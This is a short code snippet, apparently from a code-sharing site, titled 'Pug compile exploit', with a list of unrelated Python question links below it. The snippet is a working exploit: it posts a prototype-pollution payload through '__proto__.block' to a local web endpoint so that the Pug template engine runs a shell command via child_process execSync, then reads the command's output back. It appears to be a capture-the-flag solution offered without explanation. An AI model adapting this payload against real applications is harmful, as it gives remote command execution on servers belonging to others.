Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

2 votes132 views2 answers
Requests sessions
Python
0 vote128 views1 answer
Log scale seaborn
Python
0 vote169 views1 answer
Flask template split string
Python Flask
0 vote169 views1 answer
Python << meaning
Python
2 votes141 views1 answer
Python sort multiple lists based on sorting of single list
Python
0 vote193 views1 answer
CACHE_TYPE flask
Python Flask
31 votes126 views1 answer
UnicodeDecodeError: 'charmap' codec can't decode byte 0x9d in position 6148: character maps to <undefined>
Python
0 vote135 views2 answers
Online code formatter for pep8
Python
0 vote128 views1 answer
Remove grid in imshow
Python
0 vote129 views1 answer
Drop duplicates pandas considering lowercase
Python